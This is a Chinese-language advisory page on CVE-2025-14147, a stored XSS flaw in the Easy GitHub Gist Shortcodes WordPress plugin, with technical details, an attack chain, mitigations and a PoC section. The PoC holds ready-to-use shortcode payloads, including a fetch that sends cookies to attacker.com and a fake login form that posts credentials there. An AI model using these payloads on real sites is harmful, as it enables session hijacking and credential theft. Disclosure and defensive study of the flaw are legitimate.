IPBUF安全漏洞报告
English
CVE-2025-14147 CVSS 6.4 中危

CVE-2025-14147 WordPress Easy GitHub Gist Shortcodes插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14147
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Easy GitHub Gist Shortcodes WordPress插件

相关标签

存储型XSSWordPress插件漏洞CVE-2025-14147Easy GitHub Gist Shortcodes短代码注入CVSS 6.4中危漏洞Cross-Site ScriptingGitHub集成插件WordPress安全

漏洞概述

CVE-2025-14147是WordPress平台Easy GitHub Gist Shortcodes插件中的一个高危安全漏洞。该插件用于在WordPress网站中嵌入GitHub Gist代码片段,但在处理用户输入时存在严重的输入验证缺陷。漏洞根源在于插件对gist短代码的'id'参数缺乏充分的输入清理和输出转义,导致恶意脚本代码可以被永久存储在数据库中。攻击者只需拥有Contributor级别的账户权限(WordPress中较低的用户角色),即可利用此漏洞在任意页面或文章中注入恶意JavaScript代码。一旦恶意代码被注入,所有访问受影响页面的用户都会自动执行这些脚本,可能导致会话劫持、凭据窃取、恶意重定向等严重安全后果。此漏洞影响该插件1.0及所有更早版本,由于其存储型特性和低权限要求,潜在危害范围较广。

技术细节

该漏洞属于存储型跨站脚本攻击(Stored XSS),是WordPress插件中最常见且危害最大的XSS类型之一。技术原理如下:1) 漏洞位置在插件处理[gist id="xxx"]短代码时,'id'参数直接传递给输出而未进行HTML实体转义;2) 攻击者构造恶意payload如:<script>alert(document.cookie)</script>作为gist id参数值;3) 由于插件使用the_content过滤器处理短代码,恶意内容被存入WordPress数据库的posts表中;4) 当其他用户访问包含该短代码的页面时,WordPress渲染内容并输出未转义的脚本代码;5) 用户浏览器将执行这些恶意脚本,实现攻击目的。漏洞利用条件宽松:攻击者只需 Contributor+ 角色即可发表文章或页面,无需管理员权限。CVSS 3.1评分6.4(AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)反映了其网络可利用性、低权限需求和中等影响程度。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标WordPress网站是否安装Easy GitHub Gist Shortcodes插件(版本≤1.0),并确认插件激活状态
STEP 2
权限获取
攻击者获取WordPress Contributor级别账户(可通过社会工程、凭据填充或内部人员协助)
STEP 3
恶意Payload构造
攻击者构造XSS payload,如<script>alert(document.cookie)</script>,针对gist短代码的id参数
STEP 4
注入实施
在文章或页面内容中插入恶意短代码[gist id='"><script>恶意代码</script>']并发布
STEP 5
数据持久化
WordPress将包含恶意脚本的内容存入数据库,形成存储型XSS,payload永久保存
STEP 6
受害者触发
普通用户访问包含恶意短代码的页面,WordPress渲染内容时输出未转义的脚本
STEP 7
脚本执行
受害者浏览器执行恶意JavaScript,导致Cookie窃取、会话劫持或恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Easy GitHub Gist Shortcodes XSS PoC --> <!-- Author: Security Researcher --> <!-- CVE: CVE-2025-14147 --> <!-- 方法1: 通过WordPress短代码注入 --> [gist id='"><script>alert(document.domain)</script>'] <!-- 方法2: 绕过过滤的变体 --> [gist id='"><img src=x onerror=alert(1)>'] <!-- 方法3: Cookie窃取脚本 --> [gist id='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- 方法4: 持久化钓鱼表单 --> [gist id='"><div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><h1>Please Login Again</h1><form action="https://attacker.com/phish"><input name="username"><input name="password" type="password"><button>Login</button></form></div>'] <!-- 实际利用说明: 1. 攻击者需要WordPress Contributor+账户 2. 创建或编辑文章/页面 3. 插入上述恶意短代码之一 4. 发布文章 5. 任何访问该页面的用户都会执行注入的JavaScript -->

影响范围

Easy GitHub Gist Shortcodes ≤ 1.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:(1) 临时禁用Easy GitHub Gist Shortcodes插件;(2) 使用WordPress安全插件添加输入过滤规则,拦截[gist]短代码中的危险字符;(3) 限制Contributor角色的文章发布权限,要求管理员审核所有内容;(4) 部署Web应用防火墙规则,检测并阻止包含<script>标签或事件处理器属性的请求;(5) 加强WordPress网站的CSP策略,限制内联脚本执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表